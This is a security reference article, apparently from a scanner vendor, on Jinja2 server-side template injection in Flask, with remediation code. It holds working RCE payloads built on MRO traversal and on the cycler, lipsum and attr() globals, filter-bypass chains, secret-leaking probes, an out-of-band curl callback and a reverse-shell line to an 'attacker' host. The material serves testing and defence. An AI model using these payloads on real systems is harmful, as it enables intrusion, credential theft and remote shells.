Server-Side Template Injection in Jinja2 (Python/Flask) enabling sandbox escape and RCE via __class__.__mro__ traversal chains.
TL;DR
{{7*7}} → 49; {{7*'7'}} → 49 confirms Jinja2 (Twig returns 7777777)''.__class__.__mro__[1].__subclasses__()[N]('id', shell=True) reaches subprocess.Popen{{ cycler.__init__.__globals__.os.popen('id').read() }} — works in SandboxedEnvironment{{ config.SECRET_KEY.fail() }} leaks secrets via exception tracerender_template('file.html', var=user_input) — never render_template_string(user_input)Jinja2 is the default template engine for Flask and a widely used Python templating library in Django extensions and standalone applications. SSTI in Jinja2 occurs when user-controlled input is passed as the template source to render_template_string() or jinja2.Template() rather than as a rendering variable to a pre-compiled template file. The Jinja2 engine lexes and evaluates the attacker's input as executable template syntax, enabling access to Python's introspective object model and ultimately the operating system.
The impact of Jinja2 SSTI is typically Remote Code Execution. Python's object model makes sandbox escape reliable without requiring any imports: every Python object exposes its class hierarchy via __class__.__mro__, and from object (the root), __subclasses__() enumerates every loaded class including subprocess.Popen. The Jinja2 engine also exposes built-in globals — cycler, joiner, lipsum, namespace — that carry __globals__ attributes providing direct access to the os module. These globals survive even in SandboxedEnvironment unless explicitly cleared.
OWASP A03:2021 (Injection) and CWE-1336 apply. Jinja2 SSTI is one of the most common real-world SSTI variants due to Flask's popularity and the non-obvious danger of render_template_string. The misuse pattern is consistently identified in bug bounty programs: HackerOne #423541 — a $3,000 bounty for leaking a Flask SECRET_KEY — is the canonical published example.
The vulnerable code pattern in Flask:
# VULNERABLE — user_name is the template SOURCE
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route("/greet")
def greet():
name = request.args.get("name", "World")
return render_template_string(f"Hello {name}!") # SSTI vectorThe attacker submits:
GET /greet?name={{7*7}} HTTP/1.1
Host: vulnerable-flask.example.comResponse: Hello 49! — Jinja2 evaluated 7*7. Escalation path:
# Stage 1 — Confirm Jinja2 ({{7*'7'}} → 49 Jinja2, 7777777 Twig)
{{7*7}}
# Stage 2 — Dump Flask config keys
{{ config.items() }}
# Returns: [('SECRET_KEY', 'super-secret'), ('DEBUG', True), ...]
# Stage 3 — Enumerate subclasses for Popen index (verbose — use cycler instead)
{{ ''.__class__.__mro__[1].__subclasses__() }}
# Stage 4a — MRO chain RCE (N = index of subprocess.Popen, ~258-300 on Python 3.9)
{{ ''.__class__.__mro__[1].__subclasses__()[N]('id', shell=True, stdout=-1).communicate() }}
# Stage 4b — cycler globals bypass (preferred: version-independent)
{{ cycler.__init__.__globals__.os.popen('id').read() }}
# Stage 4c — lipsum globals (dict access, bypasses dot notation filters)
{{ lipsum.__globals__['os'].popen('id').read() }}
# Stage 4d — joiner bypass
{{ joiner.__init__.__globals__.os.popen('id').read() }}| Variant | Payload | Requirement | Impact |
|---|---|---|---|
| Math eval | {{7*7}} | Any Jinja2 | Engine confirmation |
| Config dump | {{ config.items() }} | Flask context | SECRET_KEY, DB URI leak |
| MRO traversal | ''.__class__.__mro__[1].__subclasses__()[N]('id',shell=True) | Standard env | RCE via subprocess.Popen |
| Cycler bypass | cycler.__init__.__globals__.os.popen('id').read() | Default globals | RCE bypassing class filter |
| Lipsum bypass | lipsum.__globals__['os'].popen('id').read() | Default globals | RCE via dict access |
|attr() bypass | request|attr('application')|attr('__globals__')... | Request context | RCE bypassing keyword blocklist |
| Error-based exfil | {{ config.SECRET_KEY.fail() }} | Any (blind SSTI) | Config leak via exception |
| OOB DNS | cycler.__init__.__globals__.os.popen('curl TOKEN.oast.pro').read() | RCE confirmed | Blind confirmation |
| Reverse shell | cycler.__init__.__globals__.os.popen('bash -i >&/dev/tcp/attacker/4444 0>&1') | Network access | Full interactive shell |
# Block on __class__, __mro__ keywords — use |attr() filter
{{ request|attr('application')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__import__')('os')|attr('popen')('id')|attr('read')() }}
# Block on config keyword — use request.environ
{{ request.environ['werkzeug.server.shutdown'].__globals__['__builtins__']['__import__']('os').popen('id').read() }}
# Block on all double-underscores — use string concatenation via format
{{ ('__cla' + 'ss__') }}
# Then use |attr() to access:
{{ ''|attr('__cla'+'ss__').__mro__[1].__subclasses__()[N]('id',shell=True).communicate() }}# Trigger AttributeError — may leak SECRET_KEY in stack trace
{{ config.SECRET_KEY.nonexistent_attribute() }}
# Response: AttributeError: 'str' object has no attribute 'nonexistent_attribute'
# Universal fingerprinting probe
${{<%[%'"}}%\
# Jinja2 returns: jinja2.exceptions.TemplateSyntaxError: unexpected '<'
# Force UndefinedError to reveal available variables
{{ undefined_var }} # with StrictUndefined: shows available vars in errorHackerOne #423541 — Flask SECRET_KEY Leak ($3,000 bounty)
A public Flask API accepted a name parameter and used render_template_string(f"Hello {name}!") to generate personalized greetings. A researcher submitted {{ config.SECRET_KEY }} and received the application's signing key in plaintext. With the key, session cookies and JWT tokens could be forged, granting admin access. The fix was replacing render_template_string with render_template("greet.html", name=name). The vulnerability is canonical — it appears in PortSwigger's SSTI lab and virtually every SSTI training resource.
CVE-2024-56201 — Jinja2 FileSystemLoader Path Traversal (CVSS 7.8)
Jinja2 before 3.1.5 allowed path traversal via FileSystemLoader when a template name containing ../ sequences was not sanitized. An attacker controlling the template name — not the template source — could load arbitrary files from the filesystem. Fixed in Jinja2 3.1.5. This CVE demonstrates that Jinja2 attack surface extends beyond render_template_string misuse to template path construction.
Email Template Preview — Enterprise SSTI Pattern
A recurring pattern in enterprise Flask applications: email notification systems allow users to customize templates with variables like {{ user.name }}. The preview endpoint renders user-provided templates via render_template_string(). An attacker submits {{ config.MAIL_SERVER }}{{ config.MAIL_PASSWORD }} to exfiltrate SMTP credentials silently. This pattern appears across CRM platforms, marketing automation tools, and notification services. The correct implementation uses only pre-compiled templates with user data as variables.
Flask Debug Mode SECRET_KEY via Error Trace
Jinja2 applications running in DEBUG=True mode produce stack traces that include the full Flask config dictionary. The Korchagin error-based technique ({{ config.SECRET_KEY.fail() }}) triggers a 500 response with AttributeError that includes the SECRET_KEY value in the debug output — even if the application filters {{ config }} output. This is a blind-to-in-band conversion via error channel rather than template output.
The cycler, joiner, lipsum, and namespace Jinja2 globals expose __globals__ containing the os module and achieve RCE even inside SandboxedEnvironment unless env.globals.clear() is called. A sandbox without explicit global clearing is not a security control.
{{7*7}} — response 49 confirms a {{}} engine.{{7*'7'}} — 49 confirms Jinja2; 7777777 confirms Twig. This is the definitive engine differentiator.{{ config }} or {{ config.items() }} — a Python dict with Flask config keys confirms Flask/Jinja2 context.{{ config.SECRET_KEY.fail() }} — a 500 AttributeError confirms Jinja2 and may leak the key in the stack trace.${{<%[%'"}}%\ — error signature jinja2.exceptions.TemplateSyntaxError: unexpected '<' confirms Jinja2.# SSTImap v1.3.0 — Jinja2-specific with Korchagin error-based
sstimap -u "http://target.com/greet?name=*" --engine Jinja2
# tplmap — stable legacy
tplmap.py -u "http://target.com/greet?name=*"
# Semgrep SAST — catch at development time
semgrep --config "p/flask" /path/to/app/
# Triggers rule: python.flask.security.injection.tainted-string-formatBreachVex detects Jinja2 SSTI through complementary techniques: paired arithmetic probes ({{7*7}} + {{7*'7'}}) for confirmation, Korchagin polyglot for engine fingerprinting, and out-of-band callbacks with {{ cycler.__init__.__globals__.os.popen('curl TOKEN.oast.pro').read() }} for blind contexts.
# VULNERABLE — user_name is the template source
from flask import render_template_string
@app.route("/greet")
def greet():
name = request.args.get("name")
return render_template_string(f"Hello {name}!") # SSTI
# SAFE — user_name is a rendering variable
from flask import render_template
@app.route("/greet")
def greet():
name = request.args.get("name")
return render_template("greet.html", name=name) # safe<!-- templates/greet.html -->
<!-- Jinja2 auto-escapes HTML in .html templates served via render_template -->
<p>Hello {{ name }}!</p>from jinja2.sandbox import SandboxedEnvironment
from jinja2 import StrictUndefined
env = SandboxedEnvironment(
autoescape=True,
undefined=StrictUndefined
)
env.globals.clear() # CRITICAL: removes cycler, joiner, lipsum, namespace
env.filters = { # allowlist only safe filters
'escape': env.filters['escape'],
'upper': env.filters['upper'],
'lower': env.filters['lower'],
'truncate': env.filters['truncate'],
}
# User-provided template source — sandbox as last resort only
tmpl = env.from_string(user_provided_template)
result = tmpl.render(display_name=sanitized_value)app = Flask(__name__)
# Enforce autoescape for all templates
app.jinja_env.autoescape = True
# Lock template loading to a specific directory
from jinja2 import FileSystemLoader
app.jinja_loader = FileSystemLoader('/app/templates')
# Never allow user input to construct template paths
# DANGEROUS: render_template(user_input + ".html")
# SAFE: assert user_input in ALLOWED_TEMPLATES before render_template
ALLOWED_TEMPLATES = {"welcome", "invoice", "receipt"}
if template_name not in ALLOWED_TEMPLATES:
abort(400)
return render_template(f"{template_name}.html", **safe_vars)Jinja2 SSTI occurs when user-controlled input is passed as the template source to render_template_string() or Template() in Flask/Python applications. The Jinja2 engine evaluates the attacker's expressions, enabling object traversal via Python's MRO chain to reach os.popen() or subprocess, yielding Remote Code Execution.
Python classes expose __mro__ listing the inheritance chain up to object. Every Python object can reach __subclasses__(), which enumerates all loaded classes. Among those, subprocess.Popen can be found and called: ''.__class__.__mro__[1].__subclasses__()[N]('id', shell=True, stdout=-1).communicate(). The index N varies by Python version and loaded imports.
The cycler Jinja2 builtin is available in every template environment including SandboxedEnvironment unless explicitly cleared. Its __init__.__globals__ exposes the os module directly: {{ cycler.__init__.__globals__.os.popen('id').read() }}. This bypasses keyword filters on __class__, __mro__, and __subclasses__ while achieving RCE in a single expression. joiner and namespace builtins offer equivalent paths.
SandboxedEnvironment blocks direct dangerous attribute access but does not prevent exploitation if builtins like cycler, joiner, or namespace remain in env.globals. The sandbox also does not block the |attr() filter, a common bypass for attribute name filtering. Clearing env.globals entirely and restricting filters is necessary for any meaningful protection.
CVE-2024-56201: Jinja2 path traversal via FileSystemLoader (CVSS 7.8, fixed in 3.1.5). CVE-2020-28493: Jinja2 ReDoS (CVSS 7.5). Most Jinja2 SSTI is application-level: HackerOne #423541 (Flask SECRET_KEY leak via render_template_string, $3,000 bounty). The engine itself is not the bug — the misuse of render_template_string with user input is.
|attr('__class__') is equivalent to .__class__ but avoids literal attribute name filters. The full chain: request|attr('application')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__import__')('os')|attr('popen')('id')|attr('read')() achieves RCE while bypassing keyword blocklists.
The Korchagin 'Successful Errors' technique (PortSwigger Top 10 2025, Rank #1) triggers a deliberate exception containing target data in the error trace. In Jinja2: {{ config.SECRET_KEY.nonexistent() }} raises AttributeError with the SECRET_KEY value visible in the error message. This converts blind SSTI into in-band data exfiltration.
The lipsum Jinja2 global (lorem ipsum generator) exposes __globals__ similarly to cycler. {{ lipsum.__globals__['os'].popen('id').read() }} achieves RCE using dictionary access rather than attribute access, bypassing filters that block dot notation. This bypass is included in SSTImap v1.3.0's Jinja2 payload set.
Use jinja2.sandbox.SandboxedEnvironment with env.globals.clear(), set env.filters to only safe filters, and set undefined=StrictUndefined. Consider whether user-defined templates are truly required — a constrained DSL is safer than any sandbox. Never treat SandboxedEnvironment alone as sufficient without clearing globals.
The index of subprocess.Popen in __subclasses__() varies by Python version and loaded modules. In Python 3.9 it is typically around 258-300. A reliable approach iterates and checks the class name. The cycler/lipsum/joiner globals bypasses are version-independent and more reliable for exploitation.
Submit {{7*'7'}} — Jinja2 returns 49 (truthy multiplication), while Twig returns 7777777 (string repetition). This single probe definitively identifies Jinja2 versus Twig and should precede any exploitation attempt.